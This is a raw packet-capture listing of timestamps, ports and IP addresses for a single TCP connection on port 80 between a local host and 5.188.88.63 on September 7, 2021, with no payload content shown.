Sep 7, 2021 16:02:55.388991117 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389015913 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389039040 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.389039993 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389060974 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.389159918 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389209986 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.389437914 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389556885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389594078 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389615059 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389617920 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.389636993 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389661074 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389672041 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.389687061 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389709949 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389728069 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389729023 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.389745951 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.389751911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389774084 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389800072 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389805079 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.389825106 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389846087 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.389847040 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389868975 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389890909 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389898062 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.389914989 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.389935970 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.390023947 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.390913010 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.390948057 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.391000032 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.392543077 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.392576933 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.392599106 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.392622948 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.392644882 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.392671108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.392694950 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.392697096 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.392714977 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.392716885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.392739058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.392740011 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.392766953 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.392802000 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.392816067 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.392857075 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.392932892 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.392957926 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.392985106 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.393124104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.393177032 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.393187046 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.406832933 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.454309940 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.454349995 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.454368114 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.455835104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.455876112 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.455933094 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.455957890 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.455959082 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.455980062 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456003904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456027985 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456048965 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456073046 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456096888 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456119061 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456137896 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.456140041 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456161976 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456186056 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456199884 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.456207037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456227064 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456229925 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.456245899 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456267118 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456286907 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456295013 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.456307888 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456327915 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456331968 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.456352949 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456361055 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.456376076 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456392050 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456410885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456429958 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456448078 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456470966 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456479073 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.456490993 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456511974 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456526041 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456530094 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.456542969 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456557035 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456558943 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.456573009 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456588030 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456589937 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.456603050 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456619024 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456623077 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.456634045 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456657887 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456660032 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.456676006 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456690073 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456691027 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.456708908 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456718922 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.456726074 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456742048 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456748962 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.456757069 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456768990 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456787109 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456803083 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456815958 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.456818104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456830025 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.456861019 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.456890106 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.458203077 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.458230019 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.458251953 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.458271980 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.458295107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.458316088 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.458323002 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.458364010 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.458379984 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.458507061 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.458554983 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.458609104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.458630085 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.458653927 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.458653927 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.458682060 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.459156036 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.459223986 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.460416079 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.460546970 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.460570097 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.460614920 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.475469112 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.475625992 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.475708961 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.521495104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.521533966 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.521552086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.521572113 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.521589994 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.521601915 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.521616936 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.521632910 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.521655083 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.521688938 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.521723986 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522068024 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522110939 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522142887 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522171974 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522175074 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522192955 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522214890 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522222996 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522236109 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522257090 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522265911 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522277117 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522294998 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522303104 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522310972 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522326946 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522341967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522352934 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522360086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522377014 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522381067 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522392988 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522408009 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522413015 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522422075 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522435904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522450924 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522453070 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522465944 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522489071 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522509098 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522510052 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522538900 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522547007 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522567987 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522583961 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522598028 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522603989 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522613049 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522628069 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522636890 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522645950 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522663116 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522677898 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522694111 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522707939 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522780895 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522787094 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522789955 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522800922 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522823095 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522840977 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522849083 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522860050 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522876978 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522890091 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522891998 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522907972 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522922993 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522926092 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522938013 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522953033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522969007 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.522978067 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.522986889 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.523009062 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.523027897 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.523092031 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.523098946 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.523106098 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.523164034 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.523310900 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.523327112 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.523343086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.523359060 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.523375988 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.523380995 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.523396969 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.523405075 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.523415089 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.523432016 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.523967981 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.524241924 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.524261951 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.524317026 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.524769068 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.524799109 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.524873018 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.537009001 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.543488026 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.543549061 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.543581009 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.543608904 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.587627888 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.587662935 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.587685108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.587707996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.587729931 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.587754965 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.587778091 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.587799072 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.587848902 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.587914944 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.588646889 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.588666916 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.588682890 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.588697910 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.588712931 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.588731050 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.588756084 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.588776112 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.588794947 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.588814020 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.588829994 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.588829041 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.588852882 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.588867903 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.588882923 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.588897943 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.588936090 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.588958979 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.589052916 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.590856075 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.590965986 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.590995073 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591025114 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591026068 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591048002 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591072083 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591078997 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591094971 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591131926 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591140032 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591166973 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591192007 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591214895 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591219902 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591238022 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591245890 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591262102 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591283083 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591284037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591309071 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591331959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591341019 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591358900 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591383934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591402054 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591407061 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591430902 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591442108 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591454983 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591478109 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591485023 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591500998 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591522932 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591525078 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591550112 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591571093 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591574907 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591598034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591620922 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591644049 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591645002 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591665983 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591690063 CEST	80	49763	5.188.88.63	192.168.2.4
